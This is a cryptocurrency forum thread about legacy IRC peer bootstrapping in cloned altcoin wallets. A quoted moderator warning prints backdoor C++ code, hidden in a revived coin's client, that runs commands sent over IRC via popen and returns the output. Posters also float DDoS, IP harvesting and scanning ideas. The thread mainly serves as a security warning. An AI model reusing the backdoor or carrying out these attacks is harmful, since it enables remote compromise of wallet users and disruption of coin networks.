I was trying to sync a shitcoin and accidentally found I was connected to IRC when looking in my debug.log file

I usualy add IRC=0 to my conf file to avoid this issue but while troubleshooting a sync problem I found this.

use IRC to connect to pelican.heliacal.net and do a /list to see all the connections from old wallets and left over code
in shitcoin clones using IRC bootstrapping.

Here is some info on the topic, but it's very old, I think many may be unaware of this connection in the background.

Opinions?

Architectcoin implemented built-in IRC chatting in the ARCH wallet, but it's the only coin I know that implemented it.

https://bitcointalk.org/index.php?topic=695857.0

I think it's old seed node info coded into all the wallet clones. Not so much a IRC feature.
The old node info used IRC bootstrap to sync. you can remove all nodes from incakoin [NKA] .conf and it still connects
via this old bootstrap method used in the coin it was cloned from.

I do notice when I have misbehaving nodes they are usually IRC nodes.

It seems as if this backdoor connection could be exploited, by evil doers...

Any opinions?

In many coins IRC left as an additional source nodes.
For example, Novacoin has:
1) IRC
2) DNS seed nodes https://github.com/novacoin-project/novacoin/blob/master/src/net.cpp#L1099
3) Seed nodes https://github.com/novacoin-project/novacoin/blob/master/src/net.cpp#L1173
4) Tor seed nodes https://github.com/novacoin-project/novacoin/blob/master/src/net.cpp#L1194

I recall that it was just another way for nodes to find each other. Many of the newer coins have eliminated this as though I don't recall it being exploited yet, its not necessary, and we've moved past it in most sources i think so its a non issue Wink

$MAID & $BTC other than that some short hodls and some long held garbage.

I was thinking someone could bot attack from the IRC side or ddos the node used in the native code to stop or studder a coins blockchain. while everyone is having sync issues you can dump your coins. or a IRC IP dump looking for c$ or any shares or vulnerability scans against all ip's  Wink

I recall that it was just another way for nodes to find each other. Many of the newer coins have eliminated this as though I don't recall it being exploited yet, its not necessary, and we've moved past it in most sources i think so its a non issue Wink

I was thinking someone could bot attack from the IRC side or ddos the node used in the native code to stop or studder a coins blockchain. while everyone is having sync issues you can dump your coins. or a IRC IP dump looking for c$ or any shares or vulnerability scans against all ip's  Wink

You are right, I just noticed the alt section mod stickied a warning about malware attacks. The warning includes an IRC exploit someone tried here.


..............

Modified source with backdoor
This was recently brought to my attention via a user report. A newbie, under the guise of reviving a coin posted a new client along with source. However, the source was modified to include a backdoor in the IRC bootstrapping mechanism.
here is the relevant source code:
Code:
if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
{
CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
CFree(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
}
}
here is the source code with macros resolved:
Code:
if (vWords[1] == "PRIVMSG" && vWords[3] == ":!" && vWords[0].size() > 1)
{
FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
pclose(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", "PRIVMSG", pszName, result.c_str()).c_str());
}
}
The code was part of the initial commit, so it would be difficult to notice the addition of the code by casual inspection. Also, this would likely not show up on any virus scans.

This is the exploit I remember, required a very precise set of conditions. http://genesysguru.com/blog/blog/2011/06/17/bitcoin-theft-the-top-ten-threats/

There was another PoS coin that someone told me had the recent irc exploit. One of those that had the built-in chat, but I don't recall the name.

i dont think ddos'ing the irc nodes would do to much, they have connections aside form just the irc coded peerfinder.
also that relaunch coin backdoored it in the code, ther were not able to attack the coin based on normal irc bootstraping protocol.
im sure something nefarious could be done but i guess we might have to wait around til someone comes up with it :/

$MAID & $BTC other than that some short hodls and some long held garbage.

What about something like this

port = 6667
irc = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
irc.connect ( ( network, port ) )
irc.send ( 'NICK %s\r\n' % (botname))
irc.send ( 'USER %s 8 * : %s\r\n' % (botname, botname))

while (1):
   data = irc.recv ( 4096 )
   msg = string.split(data)
 
   # Respond to PING X request with PONG X

I found maxminers.net kinda easy by hand from the IRC side of #INCAKOIN00  user > u36KUV4d5N1JfDD = https://nka.maxminers.net/index.php

the code above could prolly make quick work of finding the interesting stuff with a few mods =)

There is a reason I stayed on Bitcoin until I have found Monero, this is one of them, the number of unpatched and dumb code in shitcoins is as alarming as unsurprising.

I would love to see a chart with the list of coins that have this or similar problems.
